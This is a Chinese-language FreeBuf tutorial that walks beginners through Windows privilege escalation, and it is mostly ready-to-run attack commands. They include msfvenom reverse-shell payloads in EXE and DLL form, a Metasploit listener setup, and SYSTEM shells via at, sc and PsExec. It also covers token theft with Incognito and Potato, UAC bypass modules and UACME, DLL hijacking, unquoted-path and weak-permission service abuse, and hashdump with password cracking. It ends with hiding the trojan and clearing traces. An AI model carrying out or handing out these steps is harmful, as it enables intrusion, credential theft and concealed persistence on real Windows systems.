freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

权限提升 | windows提权从不会到理解原理最后灵活使用工具
2023-05-21 14:01:12
所属地 广东省

windows权限提升

前言:文章内容偏向于刚接触权限提升的师傅,是一篇对权限提升入门到精通的手把手教学文章,写文章的目的在于让更多的小白能有一个正确的方向去学习.

权限提升的目的是什么?

目的:获取更高级的权限---》做更多高权限相关操作

1信息收集

提权的思路最重要的就是信息收集,我们只有对整个系统进行了较全面的信息收集,大概对整个系统有了一定的了解后,我们才能高效且精准的完成提权

比方说:我们收集到这个系统是windows-sever2003的系统和里面的一些相关配置我们能联想到什么提权方法呢?

是不是可以先利用自动化工具(msf和cs)先去尝试-->针对低版本的系统命令-->进程迁移-->令牌窃取-->dll劫持-->不安全的服务-->手工提权这么一个流程

windows信息收集的常用命令

2、手工提权

手工提权一般是用于工具和一些提权方法没用的时候才会使用,我们提权的流程都是先用高效的工具->半自动工具->漏洞exp->一些系统命令->不安全的服务->手工提权

为什么手工提权放到最后是因为手工提权花费时间长,效率慢,我们先使用高效的工具能提权就能节省时间,实在没有提权的方法了才会使用手工提权

2.1、判断

常用的手工提权项目,可以自己去研究

https://github.com/vulmon/Vulmap
https://github.com/bitsadmin/wesng
https://github.com/chroblert/WindowsVulnScan

2.2、EXP利用

https://github.com/k8gege/Ladon     
https://github.com/Ascotbe/KernelHub   
https://github.com/nomi-sec/PoC-in-GitHub  
https://github.com/offensive-security/exploitdb 
http://cve.mitre.org/data/refs/refmap/source-MS.html

3、MSF提权

3.1、生成反弹后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=端口 -f exe -o msf.exe

1684163312_64624af074227ba12512a.png!small?1684163314371

3.2、配置监听会话

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.146.152

set lport 6666

run

1684163463_64624b872fb6c811db539.png!small?1684163464805

1684163510_64624bb6726f0a9e07231.png!small?1684163513195

后渗透的操作


background

把会话放到后台执行

1684163563_64624beb8a2e63de1873f.png!small?1684163565392


3.3、筛选EXP模块

(半自动:根据漏洞编号找出系统中安装的补丁)

use post/windows/gather/enum_patches

set sessions 1

run

1684163624_64624c288150313fbe5cf.png!small?1684163627097


(全自动:快速识别系统中可能可以被利用的漏洞)

use post/multi/recon/local_exploit_suggester

set showdescription true

set sessions 1

run

1684163668_64624c540c64722f41eca.png!small?1684163670027


绿色的才可能有用,一个个尝试

windows10提权

注意,在windows7以上都是有uac保护的,uac一般指用户账户控制。 用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。所以要提权首先得绕过uac

1684163863_64624d17c8986d84c46a0.png!small?1684163865470


只有这两个模块可以成功提权

4、CS半自动

https://github.com/k8gege/Ladon

ladon40 badpotato whoami

用插件提权


===================================

系统命令提权

5、Win->AT命令提权

at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。

5.1、适用版本:

Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除.

5.2、提权命令:

at 14.30 /interactive cmd
(在14:30分生成一个交互式的System权限的cmd)


6、Win->SC命令提权

sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。适用版本:

6.1、适用版本

windows 7、8、03、08、12、16

6.2、提权命令

#创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc Create <服务名称> binPath="cmd /K start" type= own type= interact

#运行服务
sc start syscmd
sc start <服务名称>

7、Win->PS命令提权

7.1、适用版本

适用版本:Win2012 & Win2008 & Win2016  等


7.2、提权操作

上传PSEXEC.exe

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd #调用运行cmd


用cs实战配合ps提权

首先先给windows服务器上传一个ps的执行命令

在cs上使用

shell cd

查看当前路径

在这个路径上上传一个ps命令

在回到会话界面使用

shell psexec.exe -accepteula -s -i -d cmd

命令提权,并截取屏幕查看

可以发现已经弹出系统权限的窗口


接下来我们就要使用远程连接进入对方的桌面

使用nmap探测对方 开启的端口

发现开启了3389端口,那就要拿到对方的账号和密码

使用cs

hashdump

密码抓取,并且拿去破解

获得密码使用kali

rdesktop ip:3389

输入账号密码登录

进去之后可以把这个最高权限反弹回我们的msf

已经获得最高权限,木马隐藏并清除痕迹



=======================================

8、Win->进程迁移提权

8.1、手动

pinjector.exe工具

pinjector -l
pinjector -p 436 cmd 2356
nc ip 端口


PS:   nc -l 监听端口



8.2、MSF


1.生成木马并运行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=端口 -f exe -o msf.exe
set lport=端口
set lhost=ip
set payload=木马的反弹payload
run


2.权限迁移
ps //查看进程
migrate PID //迁移对应PID

9、WIN->令牌窃取提权

令牌窃取 Win2008 Win2012 阿里云服务器

9.1、本地权限

use incognito
list_tokens -ux
impersonate_token "NT AUTHORITY\SYSTEM"


9.2、WEB权限

用于没有system权限的令牌时用烂土豆尝试盗取令牌

上传potato.exe

execute -cH -f ./potato.exe //配合烂土豆(原理:利用MS16_075漏洞)
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"




10、WIN->getsysytem提权

10.1、MSF自动化提权

getsysytem

注意:getsystem命令原理就是令牌窃取

windows里面会有uac保护,所以我们要绕过uac获取令牌再提权

10.2、UAC绕过

10.2.1、是什么?

uac一般指用户账户控制。 用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。

msconfig > 工具
UAC有三个模式 低、中、高。开启任意模式,getsystem命令失效。因此需要绕过

10.2.2、如何设置?

点击开始按钮,选择控制面板,系统安全》安全性与维护》选择更改用户账户控制设置选项


10.2.3、如何绕过?

使用msf搜索 UAC相关,可见到bypass模块
search UAC

-Test in Win7 本地电脑 本地权限
use exploit/windows/local/bypassuac

-Test in Win10 本地电脑 本地权限
use exploit/windows/local/ask (相当于钓鱼。用于高等级)
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup


10.3、UACME工具

https://github.com/hfiref0x/UACME

执行以下命令上线
Akagi64.exe 41 msf1.exe

Akagi64.exe <编号> <调用执行程序的完整路径>
23/41/61常用编号

msf通过上面工具上线后。执行getsystem即可

在cs上直接上传这个工具,然后使用msf的监听模块,使用命令执行上传的木马

可以发现使用了uac的工具已经成功绕过并且有了系统权限的令牌,直接使用getsystem成功提权

11、Win->dll劫持

工具

火绒剑+FLASHEXP

11.1、原理

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

11.2、寻找目标

使用火绒剑


11.3、制作dll木马上传

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=端口 -f dll -o yeye.dll

放到一个软件替换掉里面的dll文件启动软件等待上线




12、Win->不带引号的不安全服务

12.1、原理

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。


服务名称: 为 C:/AA X86/MM.EXE 没有双引号+路径中有空格   有则这是不安全的
可构造木马即路径为: C:/AA.exe 如此上面服务被调用的时候会调用到我们的木马程序


12.2、检测

方式一
1.msf上线+上传jaws-enum.ps1文件
2.调用shell 中的 powershell
3.执行文件 .\jaws-enum.ps1

方式二
检测命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

上图中 QiYouDaemon 可以被利用 ==》上传木马 D:/Program.exe 即可

12.3、利用



主动调用(需要高权限):sc start "QiYouDaemon"


被动调用:等待被调用(电脑重启等等)



13、Win->不安全的服务权限

13.1、原理

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。


13.2、检测

运行脚本

1.accesschk.exe -uwcqv "administrators" *

2.找权限为“SERVICE_ALL_ACCESS”的服务

3.配置 sc config "vds" binpath="C:\1.exe"


13.3、上线

sc start vds   手动启动上线/或者等待服务被调用上线


# 渗透测试 # 黑客 # web安全 # 内网渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录